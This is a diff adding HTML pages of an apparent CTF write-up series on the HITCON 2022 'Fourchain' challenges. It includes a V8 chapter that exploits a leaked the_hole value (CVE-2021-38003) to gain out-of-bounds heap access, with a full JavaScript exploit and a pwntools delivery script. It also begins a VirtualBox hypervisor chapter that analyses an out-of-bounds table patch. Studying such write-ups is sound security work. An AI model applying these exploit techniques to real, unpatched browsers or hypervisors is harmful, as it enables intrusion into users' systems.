kDontAdaptArgumentsSentinel) \ + /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ + TFJ(ArrayPrototypeFlatMap, kDontAdaptArgumentsSentinel) \ ++ CPP(ArrayHole) \ + \ + /* ArrayBuffer */ \ + /* ES #sec-arraybuffer-constructor */ \ +diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc +index 79bdfbddcf..c42ad4c789 100644 +--- a/src/compiler/typer.cc ++++ b/src/compiler/typer.cc +@@ -1722,6 +1722,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { + return Type::Receiver(); + case Builtin::kArrayUnshift: + return t->cache_->kPositiveSafeInteger; ++ case Builtin::kArrayHole: ++ return Type::Oddball(); + + // ArrayBuffer functions. + case Builtin::kArrayBufferIsView: +diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc +index 9040e95202..a77333287a 100644 +--- a/src/init/bootstrapper.cc ++++ b/src/init/bootstrapper.cc +@@ -1800,6 +1800,7 @@ void Genesis::InitializeGlobal(Handle global_object, + Builtin::kArrayPrototypeFindIndex, 1, false); + SimpleInstallFunction(isolate_, proto, "lastIndexOf", + Builtin::kArrayPrototypeLastIndexOf, 1, false); ++ SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false); + SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop, + 0, false); + SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush, + +``` + +`d8_strip_global.patch` +```diff +diff --git a/src/d8/d8-posix.cc b/src/d8/d8-posix.cc +index c2571ef3a01..e4f27cfdca6 100644 +--- a/src/d8/d8-posix.cc ++++ b/src/d8/d8-posix.cc +@@ -734,6 +734,7 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) { + } + + void Shell::AddOSMethods(Isolate* isolate, Local os_templ) { ++/* + if (options.enable_os_system) { + os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System)); + } +@@ -748,6 +749,7 @@ void Shell::AddOSMethods(Isolate* isolate, Local os_templ) { + FunctionTemplate::New(isolate, MakeDirectory)); + os_templ->Set(isolate, "rmdir", + FunctionTemplate::New(isolate, RemoveDirectory)); ++*/ + } + + } // namespace v8 +diff --git a/src/d8/d8.cc b/src/d8/d8.cc +index c6bacaa732f..63b3c9c27e8 100644 +--- a/src/d8/d8.cc ++++ b/src/d8/d8.cc +@@ -3266,6 +3266,7 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo& info) {} + + Local Shell::CreateGlobalTemplate(Isolate* isolate) { + Local global_template = ObjectTemplate::New(isolate); ++ /* + global_template->Set(Symbol::GetToStringTag(isolate), + String::NewFromUtf8Literal(isolate, "global")); + global_template->Set(isolate, "version", +@@ -3284,6 +3285,7 @@ Local Shell::CreateGlobalTemplate(Isolate* isolate) { + FunctionTemplate::New(isolate, ReadLine)); + global_template->Set(isolate, "load", + FunctionTemplate::New(isolate, ExecuteFile)); ++ */ + global_template->Set(isolate, "setTimeout", + FunctionTemplate::New(isolate, SetTimeout)); + // Some Emscripten-generated code tries to call 'quit', which in turn would +@@ -3456,6 +3458,7 @@ Local Shell::CreateSnapshotTemplate(Isolate* isolate) { + } + Local Shell::CreateD8Template(Isolate* isolate) { + Local d8_template = ObjectTemplate::New(isolate); ++ /* + { + Local file_template = ObjectTemplate::New(isolate); + file_template->Set(isolate, "read", +@@ -3538,6 +3541,7 @@ Local Shell::CreateD8Template(Isolate* isolate) { + Local(), 1)); + d8_template->Set(isolate, "serializer", serializer_template); + } ++ */ + return d8_template; + } +``` + +The second patch, `d8_strip_global.patch` is simply removing some builtin functions that programs running in d8 normally have access to. These functions let a JavaScript program do things like open and read files, and they would trivialize the challenge if our exploit could use them. This is pretty standard for V8 challenges. + +The first patch, `add_hole.patch`, is the interesting part. It adds a new method called `hole` to `Array.prototype`. The new method is implemented as a C++ builtin, in the function `ArrayHole`. The function doesn't do much, and just returns a special value called `the_hole`. + +`the_hole` in V8 is a special object that the engine uses internally to represent the absence of a value. For example, when a JavaScript program creates a sparse array, V8 stores `the_hole` in all uninitialized array slots. + +```js +const a = [1, 2]; +a[9] = 3; +%DebugPrint(a); +``` + +``` +DebugPrint: 0x2ef200108b7d: [JSArray] + - elements: 0x2ef200108b8d [HOLEY_SMI_ELEMENTS] + - length: 10 + - elements: 0x2ef200108b8d { + 0: 1 + 1: 2 + 2-8: 0x2ef200002459 + 9: 3 + 10-30: 0x2ef200002459 + } +``` + +`the_hole` is an implementation detail that is not part of the JS standard and is normally invisible to JS code. For example if a program tries to access a slot that contains `the_hole` in a sparse array, the access returns `undefined` and not `the_hole`. + +```js +const a = [1, 2]; +a[9] = 3; +console.log(a[8]); +``` +``` +undefined +``` + +The author's patch adds a way to get a reference to this normally inaccessible object from JS code. This is interesting from a security perspective because it's likely that many of the built-in functions don't expect to be passed `the_hole` as an argument and might misbehave when that happens. For example the following snippet crashes d8: + +```js +const the_hole = [].hole(); +the_hole.toString() +``` + +The patch also comments out some code that references [a bug](https://bugs.chromium.org/p/chromium/issues/detail?id=1263462) in Chromium's bug tracker. The bug describes how a reference to `the_hole` can be used to cause memory corruption. + +> It appears that a leaked TheHole value can be used to cause memory corruption due to special handling of TheHole values in JSMaps: +> +> ```js +> var map = new Map(); +> map.set(1, 1); +> map.set(hole, 1); +> // Due to special handling of hole values, this ends up setting the size of the map to -1 +> map.delete(hole); +> map.delete(hole); +> map.delete(1); +> +> // Size is now -1 +> //print(map.size); +> +> // Set values in the map, which presumably ends up corrupting data in front of +> // the map storage due to the size being -1 +> for (let i = 0; i < 100; i++) { +> map.set(i, 1); +> } +> +> // Optionally trigger heap verification if the above didn't already crash +> //gc(); +> ``` +> +> I haven't verified exactly why this happens, but my guess is that because the TheHole value is used by JSMaps to indicate deleted entries [8], when the code deletes TheHole for the second time, it effectively double-deletes an entry and so decrements the size twice. +> [8] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/builtins-collections-gen.cc;l=1770;drc=1c3085e26a408adb53645f9b5d12fa9f3803df3c + +The check that the challenge author commented out was introduced in response to this bug and breaks the exploitation technique described above. This makes it pretty clear that that's how the author wants us to solve the challenge. + +## Exploitation + +The exploit described in the chromium bug uses `the_hole` to set the length of a JavaScript map to -1. In order to understand what primitives that gives us we first have to find the code that implements the map object and understand how it works. + +`JSMap`, the C++ object that represents a JavaScript map is declared in [`js-collection.tq`](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-collection.tq;l=11;drc=f30f4815254b8eed9b23026ea0d984d18bb89c28) and it is basically the same as a `JSCollection`. `JSCollection` only has one field, called `table` which points to the backing hash table. Sadly the field has type `Object` which can point to any JavaScript object. Not very useful. Looking for references to the generated method `JSCollection::table()` we find [some code](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/objects.cc;l=6556;drc=2df668b7cbf6c1d0766b6ee0ae8147adc8830f2e) that indicates that `table` is actually of type [`OrderedHashMap`](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/ordered-hash-table.h;l=306;drc=2df668b7cbf6c1d0766b6ee0ae8147adc8830f2e). `OrderedHashMap` is itself a subclass of `OrderedHashTable`, which has a [detailed comment](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/ordered-hash-table.h;l=23;drc=2df668b7cbf6c1d0766b6ee0ae8147adc8830f2e) describing how the contents of the table are laid out in memory. Cool! + +The memory layout of a `OrderedHashTable` (and `OrderedHashMap`) is this: + +``` +[0]: element count +[1]: deleted element count +[2]: bucket count +[3..(3 + NumberOfBuckets() - 1)]: "hash table", + where each item is an offset into the + data table (see below) where the first + item in this bucket is stored. +[3 + NumberOfBuckets()..length]: "data table", an + array of length Capacity() * 3, + where the first entrysize items are + handled by the derived class and the + item at kChainOffset is another entry + into the data table indicating the next + entry in this hash bucket. +``` + +In our case each element consists of two JavaScript values (the key and the value), so entrysize = 2 and each entry in the hash table will be 3 words (12 bytes) long (key, value, next element). + +In some circumstances the runtime can decide to declare the `OrderedHashTable` obsolete and create a new version. For example that can happen when too many elements are deleted from the table and the occupancy becomes too low. In that case the first word of the old table is not the element count but rather a pointer to the new `OrderedHashTable`. We can distinguish between the two by looking at the tag of the first word of the map. A Smi indicates that the map is active, and a pointer indicates that it's obsolete. + +The layout described above is also prefixed with a pointer to a [Map](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/map.h;l=203;drc=2df668b7cbf6c1d0766b6ee0ae8147adc8830f2e) object and with the overall size of the map (in words, which in this case are 4 bytes). The table's total size is stored right after the map because `OrderedHashTable` derives from [`FixedArray`](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/fixed-array.tq;l=8;drc=902759b8d72534a01d0f90d6653fd253885cf72f), which has a `length` field. I am pretty sure that this is redundant because the size of the `OrderdHashTable` is always equal to `3 + num_buckets * 7` but maybe it is stored explicitly to help the GC. + +The value that the exploit in the Chromium bug sets to -1 is the element count (as we can see in the code [here](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/builtins-collections-gen.cc;l=1710;drc=63cb7fb817e60e5633fb622baf18c59da7a0a682), linked to in the bug). We can verify that this is the case by running the code from the Chromium bug and then printing the memory of the map in GDB. + +```js +let hole = [].hole(); +let map = new Map(); + +map.set(1, 1); +map.set(hole, 1); +map.delete(hole); +map.delete(hole); +map.delete(1); + +%DebugPrint(map); +%SystemBreak(); +``` +``` +0x1f0400048c7d +Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap. + +pwndbg> x/4wx 0x1f0400048c7c + /* map properties elements table */ +0x1f0400048c7c: 0x001855f5 0x00002259 0x00002259 0x00048c8d +pwndbg> x/4wx 0x1f0400048c8c + /* map length next table deleted element count */ +0x1f0400048c8c: 0x00002c29 0x00000022 0x00048cd9 0x00000004 +pwndbg> x/4wx 0x1f0400048cd8 + /* map length next table deleted element count */ +0x1f0400048cd8: 0x00002c29 0x00000022 0x00048d25 0x00000002 +pwndbg> x/4wx 0x1f0400048d24 + /* map length element count deleted element count */ +0x1f0400048d24: 0x00002c29 0x00000022 0xfffffffe 0x00000000 +``` + +As we can see the element count is indeed -1 (whose tagged representation is 0xfffffffe). + +Now how do we exploit this? I searched online for the CVE number referenced in the Chromium bug report (CVE-2021-38003) and found [this article by Numen Cyber Labs](https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078) which has some more details on how to exploit the vulnerability. The article provides a PoC exploit which sets the length of an array to 0xffff. + +```js +let hole = [].hole(); +let map = new Map(); +map.set(1, 1); +map.set(hole, 1); +map.delete(hole); +map.delete(hole); +map.delete(1); +let a = new Array(1.1, 1.1); + +map.set(0x10, -1); +map.set(a, 0xffff); +console.log(a.length); +``` + +The way the exploit works is by overwriting the bucket count in the `OrderedHashMap` with 0x10, which then makes the next insertion into the map write out of bounds. To see why, let's take a look at [the code](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/builtins-collections-gen.cc;l=1554;drc=63cb7fb817e60e5633fb622baf18c59da7a0a682) that implements map insertion. I will include a simplified and commented version here for convenience. + +```cpp +TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) { + // ... + + BIND(&add_entry); + TVARIABLE(IntPtrT, number_of_buckets); + TVARIABLE(IntPtrT, occupancy); + TVARIABLE(OrderedHashMap, table_var, table); + { + // Check we have enough space for the entry. + number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement( + table, OrderedHashMap::NumberOfBucketsIndex()))); + + static_assert(OrderedHashMap::kLoadFactor == 2); + // capacity = number_of_buckets * 2 + const TNode capacity = WordShl(number_of_buckets.value(), 1); + // Read the number of elememts. + const TNode number_of_elements = SmiUntag( + CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset()))); + // Read the number of deleted elements. + const TNode number_of_deleted = SmiUntag(CAST(LoadObjectField( + table, OrderedHashMap::NumberOfDeletedElementsOffset()))); + // occupancy = number_of_elements + number_of_deleted + occupancy = IntPtrAdd(number_of_elements, number_of_deleted); + GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry); + + // ... + } + BIND(&store_new_entry); + // Store the key, value and connect the element to the bucket chain. + StoreOrderedHashMapNewEntry(table_var.value(), key, value, + entry_start_position_or_hash.value(), + number_of_buckets.value(), occupancy.value()); + Return(receiver); +} + +void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry( + const TNode table, const TNode key, + const TNode value, const TNode hash, + const TNode number_of_buckets, const TNode occupancy) { + + // bucket = hash & (number_of_buckets - 1) + const TNode bucket = + WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1))); + // bucket_entry = table[3 + bucket] + // this is the index in the data table at which the bucket begins + TNode bucket_entry = CAST(UnsafeLoadFixedArrayElement( + table, bucket, OrderedHashMap::HashTableStartIndex() * kTaggedSize)); + + // Store the entry elements. + // entry_start = occupancy * 3 + number_of_buckets + const TNode entry_start = IntPtrAdd( + IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)), + number_of_buckets); + + // table[3 + number_of_buckets + occupancy * 3] = key + UnsafeStoreFixedArrayElement( + table, entry_start, key, UPDATE_WRITE_BARRIER, + kTaggedSize * OrderedHashMap::HashTableStartIndex()); + // table[3 + number_of_buckets + occupancy * 3 + 1] = value + UnsafeStoreFixedArrayElement( + table, entry_start, value, UPDATE_WRITE_BARRIER, + kTaggedSize * (OrderedHashMap::HashTableStartIndex() + + OrderedHashMap::kValueOffset)); + // table[3 + number_of_buckets + occupancy * 3 + 2] = bucket_entry + UnsafeStoreFixedArrayElement( + table, entry_start, bucket_entry, + kTaggedSize * (OrderedHashMap::HashTableStartIndex() + + OrderedHashMap::kChainOffset)); + + // Update the bucket head. + // table[3 + bucket] = occupancy + UnsafeStoreFixedArrayElement( + table, bucket, SmiTag(occupancy), + OrderedHashMap::HashTableStartIndex() * kTaggedSize); + + // Bump the elements count. + // table[0]++ + const TNode number_of_elements = + CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())); + StoreObjectFieldNoWriteBarrier(table, + OrderedHashMap::NumberOfElementsOffset(), + SmiAdd(number_of_elements, SmiConstant(1))); +} +``` + +After setting `number_of_elements` to -1 the exploit inserts `(0x10, -1)` into the table. `number_of_buckets` is 2 which is the default for new tables. `number_of_deleted` is 0 because the table got shrunk twice (visible in the memory dump from the previous point), so `occupancy` will also be -1. The newly-inserted entry is 3 words long and is stored at `table[3 + number_of_buckets + occupancy * 3]` which in this case is equal to `table[2]`. That means that the key (0x10) will overwrite the bucket count. The value (-1) will overwrite the pointer to the first bucket, which is fine because -1 indicates an empty bucket. Finally, the element count is incremented, to 0. + +The next time the exploit inserts `(a, 0xffff)` into the table. This time `occupancy` is 0 but `number_of_buckets` is 16, so the new entry gets written at `table[19]`, which is 3 words after the end of the table. This works and doesn't crash because the code uses `UnsafeStoreFixedArrayElement`, which [does not emit a bounds check](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/code-stub-assembler.h;l=1811;drc=2df668b7cbf6c1d0766b6ee0ae8147adc8830f2e) to store the entries into the table. So even though the length of the FixedArray that backs the table is known, it's not checked when inserting new elements. + +The exploit allocates a JavaScript array right after the map, so the new entry will be written 8 bytes into the object that represents this array. The memory layout of a [JSArray](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-array.tq;l=52;drc=6013fdbac99726a1775f77d03699088a46d12483) is the following: + +``` +map: Map +properties_or_hash: FixedArray +elements: FixedArray +length: Number +``` + +The inserted pair overwrites `elements` with the address of the array itself and `length` with 0xffff. This gives us an arbitrary out-of-bounds read and write on the JavaScript heap. + +### V8 Sandbox + +Recent versions of V8 enable the [V8 sandbox](https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit) by default. The goal of the V8 sandbox is to prevent an attacker that has gained arbitrary read and write on the JavaScript heap from corrupting other memory and getting arbitrary code execution in the V8 process. To get the flag we either need to find a bypass for the sandbox. Or we could find a way to get the flag *into* the sandbox instead. + +As luck would have it, there is a function in d8 which does exactly that and that the author's patch doesn't remove from the globals. + +d8 exposes a `Realm` object which has a function called `Realm.eval` that can load other JavaScript files. The implementation is [here](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/d8/d8.cc;l=2111;drc=d030a17ad0ce961375e5e8d47cdc3e570b5a8fab) and calls `Shell::ReadSource`, which in turn calls `Shell::ReadFile`. This doesn't directly give us access to the contents of the file that we're loading but it will still load its contents onto the JavaScript heap, where we can read it using our OOB array. This completely bypasses the need for a V8 sandbox escape as long as we know where the flag is located. By reading `/etc/passwd` we can see that there is a user called `ctf` on the server, so we can try `/home/ctf/flag`. By sheer luck our guess was correct and we could use this method to read the flag. + +`hitcon{tH3_xPl01t_n0_l0ng3r_wOrk_aF+3r_66c8de2cdac10cad9e622ecededda411b44ac5b3_:((}` + +## Final exploit + +```js +// Utilities to convert between representations +let f64view = new Float64Array(1); +let u8view = new Uint8Array(f64view.buffer); + +let hole = [].hole(); +let map = new Map(); +map.set(1, 1); +map.set(hole, 1); +map.delete(hole); +map.delete(hole); +map.delete(1); +let a = new Array(1.1, 1.1); + +map.set(0x10, -1); +map.set(a, 0xffff); + +// Load the contents of the flag into the heap +try { + Realm.eval(0, '/home/ctf/flag', {type: 'classic'}); +} catch (e) { + console.log(e); +} + +// Dump the heap +for (let i = 0; i < 1000; i++) { + f64view[0] = a[i]; + console.log(String.fromCharCode(...u8view)); +} +``` + +```py +from pwn import * +import subprocess + +HOST = '35.227.151.88' +PORT = 30262 + +pow_re = re.compile(rb'hashcash -mb25 ([a-zA-Z0-9]+)') + +r = remote(HOST, PORT) +r.recvline() +challenge = r.recvline() +print(challenge) +match = pow_re.search(challenge).group(1).strip() +response = subprocess.check_output(['hashcash', '-mb25', match]).strip() +r.sendline(response) + +exploit = read('pwn.js') + +r.sendlineafter(b'Your javscript file size: ( MAX: 2000 bytes )', str(len(exploit)).encode()) +r.sendlineafter(b'Input your javascript file:', exploit) + +s = r.recvall(timeout=1).replace(b"\n", b"").decode() +print(re.findall(r'hitcon\{[ -~]+\}', s)) +``` + +## Table of Contents + +- [Prologue](./fourchain-prologue): Introduction +- **[Chapter 1: Hole](./fourchain-hole) (You are here)** +- [Chapter 2: Sandbox](./fourchain-sandbox): Pwning the Chrome Sandbox using `Sandbox`. +- [Chapter 3: Kernel](./fourchain-kernel): Chaining the Cross-Cache Cred Change +- [Chapter 4: Hypervisor](./fourchain-hv): Lord of the MMIO: A Journey to IEM +- [Chapter 5: One for All](./fourchain-fullchain): Uncheesing a Challenge and GUI Troubles +- [Epilogue](./fourchain-epilogue): Closing thoughts \ No newline at end of file diff --git a/HITCON-2022/pwn/fourchain-hv.html b/HITCON-2022/pwn/fourchain-hv.html new file mode 100755 index 0000000..62a657d --- /dev/null +++ b/HITCON-2022/pwn/fourchain-hv.html @@ -0,0 +1,1065 @@ + + + + + +Fourchain - Hypervisor | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Fourchain - Hypervisor

+ +

Authors: busdma, gallileo

+ +

Tags: pwn, virtualbox

+ +

Points: 450

+ +
+

Welcome to the Virtualbox World~~

+ +

ssh -p 54321 vbox@104.197.76.244 +password: vbox

+ +

Resources are limited, please work on local first. +Author: Billy

+ +

URLs +https://storage.googleapis.com/hitconctf2022/hypervisor-575472edcd113e18e3939bd17c9416517f1646ec.zip

+
+ +

Patch Analysis

+ +

The challenge author provided the following patch:

+ +
diff -Naur VirtualBox-6.1.40/src/VBox/VMM/VMMAll/IEMAllInstructions.cpp.h Chall/src/VBox/VMM/VMMAll/IEMAllInstructions.cpp.h
+--- VirtualBox-6.1.40/src/VBox/VMM/VMMAll/IEMAllInstructions.cpp.h    2022-10-11 21:51:54.000000000 +0800
++++ Chall/src/VBox/VMM/VMMAll/IEMAllInstructions.cpp.h    2022-11-02 19:18:19.196674293 +0800
+@@ -20,7 +20,7 @@
+ *   Global Variables                                                           *
+ *******************************************************************************/
+ extern const PFNIEMOP g_apfnOneByteMap[256]; /* not static since we need to forward declare it. */
+-
++static uint64_t Table[0x10];
+ #ifdef _MSC_VER
+ # pragma warning(push)
+ # pragma warning(disable: 4702) /* Unreachable code like return in iemOp_Grp6_lldt. */
+@@ -538,6 +538,40 @@
+     return IEMOP_RAISE_INVALID_OPCODE();
+ }
+ 
++FNIEMOP_DEF(iemOp_ReadTable)
++{
++    if (pVCpu->iem.s.enmCpuMode == IEMMODE_64BIT && pVCpu->iem.s.uCpl == 0 )
++    {
++        IEM_MC_BEGIN(0, 2);
++        IEM_MC_LOCAL(uint64_t, u64Idx);
++        IEM_MC_FETCH_GREG_U64(u64Idx, X86_GREG_xBX);
++        IEM_MC_LOCAL_CONST(uint64_t, u64Value,/*=*/ Table[u64Idx]);
++        IEM_MC_STORE_GREG_U64(X86_GREG_xAX, u64Value);
++        IEM_MC_ADVANCE_RIP();
++        IEM_MC_END();
++        return VINF_SUCCESS;
++    }
++    return IEMOP_RAISE_INVALID_OPCODE();
++}
++
++
++FNIEMOP_DEF(iemOp_WriteTable)
++{
++    if (pVCpu->iem.s.enmCpuMode == IEMMODE_64BIT && pVCpu->iem.s.uCpl == 0 )
++    {
++        IEM_MC_BEGIN(0, 2);
++        IEM_MC_LOCAL(uint64_t, u64Idx);
++        IEM_MC_FETCH_GREG_U64(u64Idx, X86_GREG_xBX);
++        IEM_MC_LOCAL(uint64_t, u64Value);
++        IEM_MC_FETCH_GREG_U64(u64Value, X86_GREG_xAX);
++        Table[u64Idx] = u64Value;
++        IEM_MC_ADVANCE_RIP();
++        IEM_MC_END();
++        return VINF_SUCCESS;
++    }
++    return IEMOP_RAISE_INVALID_OPCODE();
++}
++
+ 
+ /** Invalid with RM byte . */
+ FNIEMOPRM_DEF(iemOp_InvalidWithRM)
+diff -Naur VirtualBox-6.1.40/src/VBox/VMM/VMMAll/IEMAllInstructionsTwoByte0f.cpp.h Chall/src/VBox/VMM/VMMAll/IEMAllInstructionsTwoByte0f.cpp.h
+--- VirtualBox-6.1.40/src/VBox/VMM/VMMAll/IEMAllInstructionsTwoByte0f.cpp.h    2022-10-11 21:51:55.000000000 +0800
++++ Chall/src/VBox/VMM/VMMAll/IEMAllInstructionsTwoByte0f.cpp.h    2022-11-02 16:18:35.752320732 +0800
+@@ -9539,9 +9539,9 @@
+     /* 0x22 */  iemOp_mov_Cd_Rd,            iemOp_mov_Cd_Rd,            iemOp_mov_Cd_Rd,            iemOp_mov_Cd_Rd,
+     /* 0x23 */  iemOp_mov_Dd_Rd,            iemOp_mov_Dd_Rd,            iemOp_mov_Dd_Rd,            iemOp_mov_Dd_Rd,
+     /* 0x24 */  iemOp_mov_Rd_Td,            iemOp_mov_Rd_Td,            iemOp_mov_Rd_Td,            iemOp_mov_Rd_Td,
+-    /* 0x25 */  iemOp_Invalid,              iemOp_Invalid,              iemOp_Invalid,              iemOp_Invalid,
++    /* 0x25 */  iemOp_ReadTable,            iemOp_Invalid,              iemOp_Invalid,              iemOp_Invalid,
+     /* 0x26 */  iemOp_mov_Td_Rd,            iemOp_mov_Td_Rd,            iemOp_mov_Td_Rd,            iemOp_mov_Td_Rd,
+-    /* 0x27 */  iemOp_Invalid,              iemOp_Invalid,              iemOp_Invalid,              iemOp_Invalid,
++    /* 0x27 */  iemOp_WriteTable,           iemOp_Invalid,              iemOp_Invalid,              iemOp_Invalid,
+     /* 0x28 */  iemOp_movaps_Vps_Wps,       iemOp_movapd_Vpd_Wpd,       iemOp_InvalidNeedRM,        iemOp_InvalidNeedRM,
+     /* 0x29 */  iemOp_movaps_Wps_Vps,       iemOp_movapd_Wpd_Vpd,       iemOp_InvalidNeedRM,        iemOp_InvalidNeedRM,
+     /* 0x2a */  iemOp_cvtpi2ps_Vps_Qpi,     iemOp_cvtpi2pd_Vpd_Qpi,     iemOp_cvtsi2ss_Vss_Ey,      iemOp_cvtsi2sd_Vsd_Ey,
+
+ +

The patch adds a global uint64_t array Table and two new instructions to the two-byte IEM opcode map. +The ReadTable instruction (opcode 0x0f 0x25) reads a 64-bit value from the array (RAX := Table[RBX];). The WriteTable instruction (opcode 0x0f 0x27) writes a 64-bit value to the array (Table[RBX] := RAX;). Both instructions are only allowed to execute in 64-bit mode and when CPL is 0 (ring zero/kernel). +The Table indexing is not bounded. This provides us with an Out-Of-Bounds read and write primitive, relative to Table.

+ +

Of the VirtualBox Architecture

+ +

Unsurprisingly, VirtualBox is made up of many different components. This section contains a brief description of the components relevant to this writeup. VirtualBox aficionados can most likely skip this part.

+ +

Virtualbox defines several execution contexts, the main ones being Guest Context (GC) and Host Context (HC).

+ +

VirtualBox Architecture

+ +

The core of VirtualBox (i.e. the VMM, Virtual Machine Monitor) runs in HC, under the host operating system. The guest, our entrypoint for this challenge, runs in the GC. Since the added instructions are valid only when the virtual CPU has a CPL of 0, a kernel module must be prepared and inserted into the guest kernel. This is feasible, we have quasi-complete control over the guest.

+ +

The HC VMM code has a kernel (R0) and a user (R3) part. This split can also be seen in the source code structure: the VMM folder has a VMMR0 and VMMR3 folder for the kernel and user part, respectively. The VMMAll folder contains code common to both.
+Execution of a VM starts in the R3 Execution Monitor (EM) component, with a call to the EMR3ExecuteVM function. The description of the EM component is interesting:

+ +
 * The Execution Monitor/Manager is responsible for running the VM, scheduling
+ * the right kind of execution (Raw-mode, Hardware Assisted, Recompiled or
+ * Interpreted), and keeping the CPU states in sync. The function
+ * EMR3ExecuteVM() is the 'main-loop' of the VM, while each of the execution
+ * modes has different inner loops (emR3RawExecute, emR3HmExecute, and
+ * emR3RemExecute).
+ *
+ * The interpreted execution is only used to avoid switching between
+ * raw-mode/hm and the recompiler when fielding virtualization traps/faults.
+ * The interpretation is thus implemented as part of EM.
+
+ +

This tells us that there are multiple execution modes, one of which is called the Interpreted mode. Indeed, this corresponds to the IEM component, for which the patch adds the two new instructions. Unfortunately, the challenge runs on an Intel CPU with VMX support, meaning that our code is de facto being scheduled for Hardware Assisted execution, the HM component. This means that we somehow must coax the EM into scheduling our code for execution by the IEM.

+ +

Thus began a long and painful journey to Mount Doom IEM.

+ +

Of The IEM: Arbitrary Instruction Execution

+ +

Eventually, the R3 EM code will schedule the guest code for execution with an IOCTL request to the R0 component. The R0 entry point function is VMMR0EntryFast, where the VMMR0_DO_HM_RUN will loop execution of the guest code until halted. +After delving a bit deeper and greedier (for flags), we end up at hmR0VmxRunGuestCodeNormal. This function has another loop, in which hmR0VmxRunGuest is called to execute guest code in VT-x. More interestingly, the loop also handles VM exits. Upon VM exit, the current vCPU state is dispatched to the proper handler by indexing the global g_apfnVMExitHandlers function table.

+ +

At this point we assumed that getting to IEM would probably involve triggering a VM exit and some sorcery. Let’s take a look at IEM’s description:

+ +
 * The interpreted exeuction manager (IEM) is for executing short guest code
+ * sequences that are causing too many exits / virtualization traps.  It will
+ * also be used to interpret single instructions, thus replacing the selective
+ * interpreters in EM and IOM.
+
+ +

According to the description, causing many VM exits could potentially reschedule us to IEM mode and execute a short sequence of instructions. This sounded perfect for our usecase. Let’s take a look at the CPUID handler hmR0VmxExitCpuid:

+ +
/**
+ * VM-exit handler for CPUID (VMX_EXIT_CPUID). Unconditional VM-exit.
+ */
+HMVMX_EXIT_DECL hmR0VmxExitCpuid(PVMCPUCC pVCpu, PVMXTRANSIENT pVmxTransient)
+{
+    ...
+     /*
+     * Get the state we need and update the exit history entry.
+     */
+    ...
+
+    VBOXSTRICTRC rcStrict;
+    PCEMEXITREC pExitRec = EMHistoryUpdateFlagsAndTypeAndPC(pVCpu,
+                                                            EMEXIT_MAKE_FT(EMEXIT_F_KIND_EM | EMEXIT_F_HM, EMEXITTYPE_CPUID),
+                                                            pVCpu->cpum.GstCtx.rip + pVCpu->cpum.GstCtx.cs.u64Base);
+    if (!pExitRec)
+    {
+        /*
+         * Regular CPUID instruction execution.
+         */
+         ...
+    }
+    else
+    {
+        /*
+         * Frequent exit or something needing probing.  Get state and call EMHistoryExec.
+         */
+        int rc2 = hmR0VmxImportGuestState(pVCpu, pVmcsInfo, HMVMX_CPUMCTX_EXTRN_ALL);
+        AssertRCReturn(rc2, rc2);
+
+        Log4(("CpuIdExit/%u: %04x:%08RX64: %#x/%#x -> EMHistoryExec\n",
+              pVCpu->idCpu, pVCpu->cpum.GstCtx.cs.Sel, pVCpu->cpum.GstCtx.rip, pVCpu->cpum.GstCtx.eax, pVCpu->cpum.GstCtx.ecx));
+
+        rcStrict = EMHistoryExec(pVCpu, pExitRec, 0);
+        ...
+    }
+}
+
+ +

The EMHistoryUpdateFlagsAndTypeAndPC is doing the bookkeeping, IEMExecForExits is called when a certain threshold (256) of VM exits is reached. IEMExecForExits will internally execute a block (4096) of instructions in IEM by calling IEMExecForExits. This seemed very promising, consequently a lot of time was spent here trying to get this to work.
+Unfortunately, it seems that internally the EMHistoryUpdateFlagsAndTypeAndPC is effectively disabled when coming from HM mode. This spelled the end of our “optimizing into IEM” saga. Lots of other VM exit handlers were tested, however none of them yielded any success.

+ +

When trying to trace back under which other circumstances iemExecOneInner would be called, I noticed the following:

+ +
        /*
+         * Memory mapped I/O access - emulate the instruction.
+         */
+        case VINF_IOM_R3_MMIO_READ:
+        case VINF_IOM_R3_MMIO_WRITE:
+        case VINF_IOM_R3_MMIO_READ_WRITE:
+            rc = emR3ExecuteInstruction(pVM, pVCpu, "MMIO");
+            break;
+
+ +

For your information, when accessing MMIO the guest will VM exit with VMX_EXIT_EPT_MISCONFIG as reason. Sometimes, the kernel code will return to R3 code and return from VMMR3HmRunGC with return value VINF_IOM_R3_MMIO_READ. The MMIO access is then handled by emR3HmHandleRC (excerpt seen above), which will call iemExecOne/iemExecOneInner.

+ +

